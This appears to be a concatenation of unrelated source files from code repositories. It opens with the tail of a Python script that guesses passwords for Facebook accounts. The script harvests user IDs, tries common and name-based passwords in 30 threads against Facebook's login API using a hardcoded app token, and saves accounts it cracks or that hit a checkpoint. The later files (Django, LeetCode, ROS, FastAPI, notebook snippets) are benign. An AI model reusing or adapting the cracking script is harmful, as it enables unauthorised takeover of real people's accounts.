print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mName\033[1;91m :\033[1;97m "+op["name"]
except KeyError:
print"\033[1;96m[!] \x1b[1;91mID Not Found!"
raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]")
super()
jalan('\033[1;96m[✺] \033[1;93mGetting IDs \033[1;97m...')
r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
z = json.loads(r.text)
for i in z['data']:
id.append(i['id'])
elif peak =="3":
os.system('clear')
print logo
print 42*"\033[1;96m="
try:
idlist = raw_input('\x1b[1;96m[+] \x1b[1;93mEnter File Path \x1b[1;91m: \x1b[1;97m')
for line in open(idlist,'r').readlines():
id.append(line.strip())
except IOError:
print '\x1b[1;96m[!] \x1b[1;91mFile Not Found'
raw_input('\n\x1b[1;96m[ \x1b[1;97mBack \x1b[1;96m]')
super()
elif peak =="0":
menu()
else:
print "\033[1;96m[!] \x1b[1;91mFill in correctly"
pilih_super()
print "\033[1;96m[+] \033[1;93mTotal IDs \033[1;91m: \033[1;97m"+str(len(id))
jalan('\033[1;96m[✺] \033[1;93mStarting \033[1;97m...')
titik = ['. ','.. ','... ']
for o in titik:
print("\r\033[1;96m[\033[1;97m✸\033[1;96m] \033[1;93mCracking \033[1;97m"+o),;sys.stdout.flush();time.sleep(1)
print
print('\x1b[1;96m[!] \x1b[1;93mTo Stop Process Press CTRL Then Press z')
print 42*"\033[1;96m="
def main(arg):
global cekpoint,oks
user = arg
try:
os.mkdir('out')
except OSError:
pass
try:
a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
b = json.loads(a.text)
pass1 = ('786786')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1
oks.append(user+pass1)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass1+"\n")
cek.close()
cekpoint.append(user+pass1)
else:
pass2 = b['first_name']+'12345'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2
oks.append(user+pass2)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass2+"\n")
cek.close()
cekpoint.append(user+pass2)
else:
pass3 = b['first_name'] + '123'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3
oks.append(user+pass3)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass3+"\n")
cek.close()
cekpoint.append(user+pass3)
else:
pass4 = 'Pakistan'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4
oks.append(user+pass4)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass4+"\n")
cek.close()
cekpoint.append(user+pass4)
else:
pass5 = b['first_name'] + '12'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5
oks.append(user+pass5)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass5+"\n")
cek.close()
cekpoint.append(user+pass5)
else:
pass6 = b['first_name'] + '1234'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6
oks.append(user+pass6)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass6+"\n")
cek.close()
cekpoint.append(user+pass6)
else:
a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
b = json.loads(a.text)
pass7 = b['first_name'] + '1122'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7
oks.append(user+pass7)
else:
if 'www.facebook.com' in q["error_msg"]:
print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7
cek = open("out/checkpoint.txt", "a")
cek.write(user+"|"+pass7+"\n")
cek.close()
cekpoint.append(user+pass7)
except:
pass
p = ThreadPool(30)
p.map(main, id)
print 42*"\033[1;96m="
print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mProcess Has Been Completed Komail says Thank You♥️ \033[1;97m....'
print"\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint))
print("\033[1;96m[+] \033[1;92mTHANKS FOR USING MY COMMANDS ! WE WILL BE RIGHT BACK \033[1;91m: \033[1;97mout/checkpoint.txt")
raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]")
menu()
if __name__ == '__main__':
login()
| [
"noreply@github.com"
] | noreply@github.com | |
f0e29bbe13f62a6f3b132755b006dc05eec22ad3 | 45b6f06f0dca5f8eb0331b496af8f945e27367b3 | /core/migrations/0001_initial.py | f0aaf491bf7d04f5d019b5b7a847a692cbef6dab | [] | no_license | roman-timoshenko/shold-rest | 5d0c7b90a15cc66392d3c45fdfd6d176f6f57aaf | 29c155f2aa19410cf048c2361e7f9444a9714fcf | refs/heads/master | 2020-04-27T05:41:25.709733 | 2014-12-01T20:38:28 | 2014-12-01T20:38:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,713 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='Region',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('name', models.CharField(max_length=64, verbose_name='region_name', db_index=True)),
],
options={
'verbose_name': 'region',
'verbose_name_plural': 'regions',
},
bases=(models.Model,),
),
migrations.CreateModel(
name='Village',
fields=[
('id', models.IntegerField(unique=True, serialize=False, verbose_name='village_id', primary_key=True)),
('name', models.CharField(max_length=64, verbose_name='village_name', db_index=True)),
('x', models.FloatField(verbose_name='village_coordinate_x')),
('y', models.FloatField(verbose_name='village_coordinate_y')),
('region', models.ForeignKey(default=None, verbose_name='village_region', to='core.Region', null=True)),
],
options={
'verbose_name': 'village',
'verbose_name_plural': 'villages',
},
bases=(models.Model,),
),
migrations.AlterUniqueTogether(
name='village',
unique_together=set([('x', 'y')]),
),
migrations.AlterIndexTogether(
name='village',
index_together=set([('x', 'y')]),
),
]
| [
"rootboss@gmail.com"
] | rootboss@gmail.com |
cc17135e622350d97b56cf2a70cdf6c25951c579 | 8e132f71b1b63d5972a347f8d1677dcd9a100837 | /django_project/users/views.py | 0bda1b00548aeef2285cc7242a86536a6e4666f1 | [] | no_license | Wooodzu/portfolio2021 | e1620a47f73ff9d1b93d5d3c47d3f9828ae6c0e8 | 1fd053018ccc20739c3faf60c5ff33ba155dccd7 | refs/heads/main | 2023-06-25T23:14:45.953993 | 2021-07-12T13:44:22 | 2021-07-12T13:44:22 | 381,327,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,399 | py | from django.shortcuts import render, redirect
from django.contrib import messages
from .forms import UserRegisterFrom, UserUpdateForm, ProfileUpdateForm
from django.contrib.auth.decorators import login_required
def register(request):
if request.method == 'POST':
form = UserRegisterFrom(request.POST)
if form.is_valid():
form.save()
username = form.cleaned_data.get('username')
messages.success(request, f'Your account has been created! You are now able to login {username}!')
return redirect('login')
else:
form = UserRegisterFrom()
return render(request, 'users/register.html', {'form': form})
@login_required
def profile(request):
if request.method == 'POST':
u_form = UserUpdateForm(request.POST, instance=request.user)
p_form = ProfileUpdateForm(request.POST, request.FILES, instance=request.user.profile)
if u_form.is_valid() and p_form.is_valid():
u_form.save()
p_form.save()
messages.success(request, f'Your account has been updated!')
return redirect('profile')
else:
u_form = UserUpdateForm(instance=request.user)
p_form = ProfileUpdateForm(instance=request.user.profile)
context = {
'u_form': u_form,
'p_form': p_form
}
return render(request, 'users/profile.html', context) | [
"artur199933@gmail.com"
] | artur199933@gmail.com |
a4ea8aef58307c7fd9f4806033d86e69851e27ae | d7e80b224cb21838be3308d16bd502727f77eecb | /leetcood_problems/110-balanced-Tree.py | f48531f7a5b4f6e3b8fbceadedde9e4acf9e54cd | [] | no_license | erdeq-upenn/datascience | cfe2bfc2bbbd5656783201e37c92eafc7b87764c | 3b1fb449c13c341aeced6c368eb0ec0f0d8a904c | refs/heads/master | 2021-07-11T06:26:24.256786 | 2020-06-14T01:52:12 | 2020-06-14T01:52:12 | 162,773,484 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,196 | py | # Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution(object):
#def hight(self,root):
# if root == None:
# return 0
# return max(self.hight(root.left),self.hight(root.right))+1
def isBalanced(self, root):
"""
:type root: TreeNode
:rtype: bool
"""
def height(node):
if not node:
return 0
left = height(node.left)
if left == -1:
return -1
right = height(node.right)
if right == -1:
return -1
if abs(left-right) > 1:
return -1
return max(left, right)+1
return height(root) != -1
#if root == None:
# return True
#if abs(self.hight(root.left)-self.hight(root.right)) <=1:
# return self.isBalanced(root.left) and self.isBalanced(root.right)
#else:
# return False
#This commented algorithm is way slower than the one above, becasue it sa
#saves every nodes height information
| [
"31527345+erdeq-upenn@users.noreply.github.com"
] | 31527345+erdeq-upenn@users.noreply.github.com |
a498b47d7f945fc88750e331b4a303c556793f1d | 443a7c76a528d864463f631773fe352024fdaeac | /media.py | 21b47b3e153524651a7a82e1977e3f2d19e58031 | [] | no_license | jlyden/movies | 24c996f9a94cb516b03696180ce2822fb4137e19 | 5dd2ec0a91d447681095e4cfe6a541714697bf55 | refs/heads/master | 2021-01-10T09:49:19.961235 | 2016-04-25T23:28:35 | 2016-04-25T23:28:35 | 43,646,741 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 657 | py | # needed for show_trailer()
import webbrowser
class Movie():
# class __doc__
"""This class provides a way to store movie related information"""
# class variable
VALID_RATINGS = ["G", "PG", "PG-13", "R"]
# constructor
def __init__(self, movie_title, movie_storyline, poster_image,
trailer_youtube, imdb_ref):
self.title = movie_title
self.storyline = movie_storyline
self.poster_image_url = poster_image
self.trailer_youtube_url = trailer_youtube
self.imdb_url = imdb_ref
# instance method
def show_trailer(self):
webbrowser.open(self.trailer_youtube_url)
| [
"jlyden1@alumni.nd.edu"
] | jlyden1@alumni.nd.edu |
296ece0c83bf4b271b0778cc6df19c0aaee9ec6d | 6f7555588e481e24c052604d59cc82d1f79b9f82 | /mysite/polls/polls_test/test01.py | 81fb67b37bc0dc2ed64c11f2cb4984f36966c539 | [] | no_license | zzb15997937197/django-study | dd708c92418277a7e2b2b34393f63e6b95d78d1d | 20b3ef21e73680552bee583374671bd8c7fc0b4f | refs/heads/master | 2023-01-05T22:11:53.514591 | 2020-11-06T00:29:40 | 2020-11-06T00:29:40 | 285,442,079 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 442 | py | # 生成器
data = [1, 2, 3, 3, 4]
for i in range(10, -1, -1):
print(i)
# 生成器,返回的结果为一个集合,集合里的元素是无序不重复的。
a = {x for x in data if x not in [4]}
print(a)
# def f1(data):
# for i in data:
# yield data[i]
#
#
# for c in f1(data):
# print(c)
t1 = (1, 2, 3)
t2 = (1, 2)
print(t1 + t2)
print(t1[1])
# 判断列表是否为空(包含一个长度的空字符串)
a = [""]
| [
"zhangzhengbing@huayin.com"
] | zhangzhengbing@huayin.com |
d825ddb6b8070997553f9d0296ff9d3bbd6e2f30 | 684474c94982c0e4bf9bf2f183a616d28e1cb718 | /tornato_base_frame/tornato_application.py | d43e9158917eed8421a59e7e149004e25ceff1fc | [] | no_license | YuzhuoMa816/Yuzhuo_Tornado_baseframe | 9156c5fe6fc5b5902670927340ff31290d890f4b | 7ebee850b8465db89c3b6446ba44f588dc6d9999 | refs/heads/master | 2023-08-22T05:09:55.636035 | 2021-09-30T05:42:37 | 2021-09-30T05:42:37 | 411,901,117 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 285 | py | import tornado.web
from views import index
import tornato_config
class Application(tornado.web.Application):
def __init__(self):
handlers = [
(r'/', index.IndexHandler),
]
super(Application, self).__init__(handlers, **tornato_config.settings)
| [
"71178309+YuzhuoMa816@users.noreply.github.com"
] | 71178309+YuzhuoMa816@users.noreply.github.com |
5a67766465e0814c91167f402e4f1c1c79f8948e | db9c366fa675bfabcc85d13841078d473e355bc3 | /string/Valid_Palindrome.py | 39a684079988104c2a5a6de0949a0e1daf959790 | [] | no_license | laihoward/leetcode_practice | 7d7121e34e470354c738213ea166df86e59b2264 | ddb7939c7333c66ab2e0c909f8d445d1d8327b33 | refs/heads/master | 2023-07-14T12:31:58.454907 | 2021-08-27T05:24:29 | 2021-08-27T05:24:29 | 377,393,671 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 936 | py | class Solution(object):
def isPalindrome(self, s):
slist = []
for i in s:
if i.isalnum():
slist.append(i.lower())
l = len(slist)
print(l//2)
for i in range(0,l//2):
if slist[i]!=slist[l-1-i]:
return False
return True
def isPalindrome(self, s):
i = -1
j = len(s)
while True:
i += 1
j -= 1
if i > j:
return True
while i < j:
if not s[i].isalnum():
i += 1
else:
break
while i < j:
if not s[j].isalnum():
j -= 1
else:
break
if s[i].lower() != s[j].lower():
return False
string = "A man, a plan, a canal: Panama"
s=Solution()
print(s.isPalindrome(string)) | [
"howardlai30425@gmail.com"
] | howardlai30425@gmail.com |
f538831424ed0a5b0992c4e0f3cf9a8d0fa12010 | 40cbe470faef9d6a17d85a32bacaae9c306504cd | /geom_subscriber.py | e72f5343626881907098bb5a60f4731cf12000b8 | [] | no_license | yunzc/wam_arm | 3885982d78a33f4c098dd1c619a795823a661328 | a27bbda65e1889e5e0a435e3e5933e118dde3a5e | refs/heads/master | 2020-07-20T05:56:09.834848 | 2016-11-14T19:30:33 | 2016-11-14T19:30:33 | 73,739,711 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 911 | py | import rospy
from geometry_msgs.msg import Pose
def callback(data):
global geom_data
geom_data = {}
geom_data['position'] = [data.position.x,data.position.y,data.position.z]
geom_data['orientation'] = [data.orientation.x, data.orientation.y, data.orientation.z, data.orientation.w]
def listener():
# In ROS, nodes are uniquely named. If two nodes with the same
# node are launched, the previous one is kicked off. The
# anonymous=True flag means that rospy will choose a unique
# name for our 'listener' node so that multiple listeners can
# run simultaneously.
# rospy.init_node('Oracle', anonymous=True)
rospy.Subscriber("geom_messenger", Pose, callback)
rospy.wait_for_message("geom_messenger", Pose, timeout = 20)
# spin() simply keeps python from exiting until this node is stopped
return geom_data
if __name__ == '__main__':
print listener()
| [
"noreply@github.com"
] | noreply@github.com |
e299bc6c617e9a532f45ffbcce445d97239ace0b | 141af477d95db2aa40eb7909f81779eb709df4ec | /Chapter11-Dictionaries/Ex11.1.py | eb1d67ec163e9ff1061bc365b222056080eaeaa4 | [] | no_license | inwk6312fall2019/dss-Tarang97 | 37f63c717666307ce36e95661c0e6267ad31d338 | dfe8154c32dbc1f258fcdf647d60e0b97a725684 | refs/heads/master | 2020-07-30T01:02:27.656871 | 2019-09-22T23:22:32 | 2019-09-22T23:22:32 | 210,027,796 | 0 | 0 | null | 2019-09-22T05:01:57 | 2019-09-21T17:36:46 | Python | UTF-8 | Python | false | false | 662 | py | # Write a function that reads the words in words.txt and stores them as keys in a
# dictionary. It doesn’t matter what the values are. Then you can use the
# in operator as a fast way to check whether a string is in the dictionary.
def words_in_dictionary():
word_list = dict()
fin = open('words.txt')
for line in fin:
word = line.strip()
if word not in word_list:
word_list[word] = None
return word_list
print(words_in_dictionary())
def word_finding(word):
if word in words_in_dictionary():
return True
return False
word = input('Enter any string: ')
print(word_finding(word)) | [
"noreply@github.com"
] | noreply@github.com |
f422fb2aa8b196a101d648ac90b7f4ec7ad9cf68 | cdb8ec47700aa47b3a665096a1d5f036cfec2710 | /posts/models.py | c501aeae7278b98889535c63732df134863461ee | [] | no_license | FarhoodHS/MyBlog_new | d93e09497e96da5400bd8673f90ab6912947725a | 20e8155be5f3eaedd88ae4896531e8363f74cc16 | refs/heads/master | 2023-05-01T20:07:09.968211 | 2020-03-17T19:29:50 | 2020-03-17T19:29:50 | 239,857,090 | 0 | 0 | null | 2023-04-21T20:48:41 | 2020-02-11T20:24:43 | HTML | UTF-8 | Python | false | false | 1,887 | py | from django.db import models
from django.urls import reverse
from django.db.models.signals import pre_save
from django.utils.text import slugify
from django.utils import timezone
from Blog.settings import AUTH_USER_MODEL
def upload_location(instance, filename):
return f"{instance.slug}/{filename}"
class PostManager(models.Manager):
def active(self, *args, **kwargs):
return super(PostManager, self).filter(draft=False).filter(publish__lte=timezone.now())
class Post(models.Model):
class Meta:
ordering = ["-timestamp"]
title = models.CharField(max_length=130)
author = models.ForeignKey(AUTH_USER_MODEL, on_delete=models.CASCADE)
content = models.TextField()
slug = models.SlugField(unique=True)
image = models.ImageField(upload_to=upload_location, null=True, blank=True)
draft = models.BooleanField(default=False)
publish = models.DateField(auto_now=False, auto_now_add=False)
timestamp = models.DateTimeField(auto_now=False, auto_now_add=True)
updated = models.DateTimeField(auto_now=True, auto_now_add=False)
is_updated = models.BooleanField(default=False)
views = models.IntegerField(default=0)
objects = PostManager()
def __str__(self):
return self.title
# def get_absolute_url(self):
# return reverse("posts:post_detail", kwargs={"post_id": self.id})
def create_slug(instance, new_slug=None):
slug = slugify(instance.title)
if new_slug is not None:
slug = new_slug
qs = Post.objects.filter(slug=slug).order_by('-id')
if qs.exists():
new_slug = f"{slug}-{qs.first().id}"
return create_slug(instance, new_slug=new_slug)
return slug
def pre_save_post_reciever(sender, instance, *args, **kwargs):
if not instance.slug:
instance.slug = create_slug(instance)
pre_save.connect(pre_save_post_reciever, sender=Post)
| [
"farhood.1995.hosseinzadeh@gmail.com"
] | farhood.1995.hosseinzadeh@gmail.com |
3adadf9d0a7cf055b3e864a876187d3d5e847789 | 58f38f1d69d4bfc650ad18e0045c36ae29c9d84a | /Django基础部分代码/chapter04/orm_lookup_demo/manage.py | ffb9c5d178fd47e763791ff1172e7f8d84831441 | [] | no_license | zjf201811/DjangoWebProject | 0670c61b89387901089bf67cf2423d9341f69913 | fab15784fb326ba4517951e180418ea54de03afe | refs/heads/master | 2020-04-18T12:03:08.798484 | 2019-05-06T03:59:46 | 2019-05-06T03:59:46 | 167,522,193 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 547 | py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "orm_lookup_demo.settings")
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
| [
"thor201105@163.com"
] | thor201105@163.com |
21007a2cbcde589ceabb5c374744d08a16256342 | 94dd67c3dda4cbc0b9dd04c3a9d65953f922afcb | /utils/test-resources/python-files/some_other_script.py | 4c9a21552ef7b781db02bcff654db0875812b0da | [] | no_license | saeedsiddik/mllint | ba259dc7a6bf98b3b22f09951229f7a8b6136d05 | 498dedd8a47571b17648f9347a2c00b92020b6f6 | refs/heads/main | 2023-04-30T07:45:24.474072 | 2021-05-28T21:14:01 | 2021-05-28T21:14:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 24 | py |
print("something")
| [
"bart@vanoort.is"
] | bart@vanoort.is |
aad091992484971b4abdae987643107c3b501e90 | 262a17e18dcfdb5bf95590b30c959029edf4352b | /facility_info/routers/instruments.py | e16acbb2bb19613cb60c5536085e23d67947e3fb | [
"BSD-3-Clause"
] | permissive | JunAishima/facility-info | eab86156038dc31e0140a1589012baa186555bde | 4ea11e5920ae85b6343e33eb820a538004f0cab3 | refs/heads/master | 2023-01-02T21:13:08.842457 | 2020-10-09T18:26:54 | 2020-10-09T18:26:54 | 295,758,380 | 0 | 0 | BSD-3-Clause | 2020-10-02T18:28:25 | 2020-09-15T14:43:30 | Python | UTF-8 | Python | false | false | 1,101 | py | from fastapi import APIRouter, HTTPException
instruments = {'1':{'port':'2ID', 'nickname':'SIX', 'instrument_id':1, 'emergency_contact':1, 'beamline_staff':[2,3,4], 'beamline phone numbers':[1602]},
'2':{'port':'3ID', 'nickname':'HXN', 'instrument_id':2, 'emergency_contact':2, 'beamline_staff':[1,3,4], 'beamline_phone_numbers':[1603]}
}
router = APIRouter()
@router.get('/')
def get_all_instruments():
print('instruments')
to_return = []
for instrument_id, instrument in instruments.items():
to_return.append(instrument)
return to_return
@router.get('/nickname/{nickname}')
def get_by_nickname(nickname: int):
for id_string, instrument in instruments.items():
if instrument['nickname'] == nickname:
return instrument
raise ValueError('Instrument nickname not found')
@router.get('/id/{instrument_id}')
def get_by_id(instrument_id: int):
for id_string, instrument in instruments.items():
if instrument['instrument_id'] == instrument_id:
return instrument
raise ValueError('Instrument_id not found')
| [
"jaishima@bnl.gov"
] | jaishima@bnl.gov |
9a77046a8b02899002884bdbcb8f4b15478e20c2 | eff7effdc4ada534be1c76ca83ac026ace4f4c05 | /leetcode/242.py | 715f3b2f70d33cf3920ab152d51059243bef0a29 | [] | no_license | ceuity/algorithm | 470951d9fe77de3b0b28ae06f8224cf8a619d5b5 | dd28a842709ae00c3793741e411f2cb8e5086fda | refs/heads/master | 2023-06-20T11:32:56.994859 | 2021-07-19T20:31:07 | 2021-07-19T20:31:07 | 279,136,037 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 521 | py | from collections import Counter
# 48ms
class Solution:
def isAnagram(self, s: str, t: str) -> bool:
if sorted(s) == sorted(t):
return True
else:
return False
# 32ms
class Solution:
def isAnagram(self, s: str, t: str) -> bool:
if Counter(s) == Counter(t):
return True
else:
return False
"""
처음엔 간단하게 sorted 함수를 이용하여 풀었으나, Counter 함수를 이용했을 때 더 빨랐다.
""" | [
"everland7942@gmail.com"
] | everland7942@gmail.com |
912853260f856dde1edb561a497c0406a6f7d555 | 090346874ffd62b4daf7e1690e9cccc305971382 | /binder/postBuild | cbfb1fa03f60f9874efe649863e55d3a35c446d5 | [
"BSD-3-Clause"
] | permissive | Alalalalaki/jupyterlab_white_theme | 8fe5dd01bfb2d01b56199398550f2b5e9a52bee4 | 97ccb32b3455d2c46e63160960a91ac8c3c4f2b0 | refs/heads/main | 2023-07-12T17:34:50.797518 | 2021-08-28T17:35:00 | 2021-08-28T17:35:00 | 400,616,518 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,272 | #!/usr/bin/env python3
""" perform a development install of jupyterlab_white_theme
On Binder, this will run _after_ the environment has been fully created from
the environment.yml in this directory.
This script should also run locally on Linux/MacOS/Windows:
python3 binder/postBuild
"""
import subprocess
import sys
from pathlib import Path
ROOT = Path.cwd()
def _(*args, **kwargs):
""" Run a command, echoing the args
fails hard if something goes wrong
"""
print("\n\t", " ".join(args), "\n")
return_code = subprocess.call(args, **kwargs)
if return_code != 0:
print("\nERROR", return_code, " ".join(args))
sys.exit(return_code)
# verify the environment is self-consistent before even starting
_(sys.executable, "-m", "pip", "check")
# install the labextension
_(sys.executable, "-m", "pip", "install", "-e", ".")
# verify the environment the extension didn't break anything
_(sys.executable, "-m", "pip", "check")
# list the extensions
_("jupyter", "server", "extension", "list")
# initially list installed extensions to determine if there are any surprises
_("jupyter", "labextension", "list")
print("JupyterLab with jupyterlab_white_theme is ready to run with:\n")
print("\tjupyter lab\n")
| [
"harlan.zhu@gmail.com"
] | harlan.zhu@gmail.com | |
8de9252cb023d9bc76e4587f3bb887d814af3d7c | 18468f11a0b2e63ea6ee97566b3e8c3d9cc40f6b | /0_brincando.py | abb2f344044c9b3e3553234d0b61b342ce5c6e8b | [] | no_license | gutaors/ToolBox | 931b85477a167d3f7e5173ded20e4210b248e8e8 | b6a3d9468e998e17b03d3c1fefdbeda78f902ef3 | refs/heads/main | 2022-11-05T13:52:52.018223 | 2022-10-24T04:04:38 | 2022-10-24T04:04:38 | 136,492,251 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 31,083 | py | # ---
# jupyter:
# jupytext:
# formats: ipynb,py:light
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.13.8
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name: python3
# ---
# ### mostrar o conteúdo completo de uma coluna no pandas mostrar coluna completa pandas
# ### coluna sem truncar
import pandas as pd
pd.set_option('display.max_colwidth', None)
df = pd.read_csv('ab_data.csv',encoding='utf-8-sig')
df.head()
stocks_adj_close_f = df.iloc[
0
]
stocks_adj_close_f = (
stocks_adj_close_f.reset_index()
)
stocks_adj_close_f.insert(loc=1, column="Date", value=stocks_adj_close_f.columns[1])
# +
#stocks_adj_close_f.set_index("Symbol", inplace=True)
# -
df.head(3)
# ### um colchete é uma serie, type(df['user_id']), dois colchetes é um campo de um dataframe ( que pode virar uma lista), type(df[['user_id']])
import os
import pandas as pd
#note que as barras aqui embaixo são para a direita
os.chdir(".")
df = pd.read_csv('ab_data.csv',encoding='utf-8-sig')
df.head()
# um colchete é uma serie
type(df['user_id'])
# dois colchetes é um campo de um dataframe ( que pode virar uma lista)
type(df[['user_id']])
# +
#código lá do tutorial airflow que está nas minhas dags e no vídeo
# https://www.youtube.com/watch?v=4DGRqMoyrPk&t=282s
import pandas as pd
import requests
import json
def captura_conta_dados():
url = "https://data.cityofnewyork.us/resource/rc75-m7u3.json"
response = requests.get(url)
df = pd.DataFrame(json.loads(response.content))
qtd = len(df.index)
return qtd
captura_conta_dados()
# -
# # Codigo de airflow do curso do Lamberti
# +
import json
from pandas import json_normalize
def _process_user(ti):
user = ti.xcom_pull(task_ids="extract_user")
user = user['results'][0]
processed_user = json_normalize({
'firstname': user['name']['first'],
'lastname': user['name']['last'],
'country': user['location']['country'],
'username': user['login']['username'],
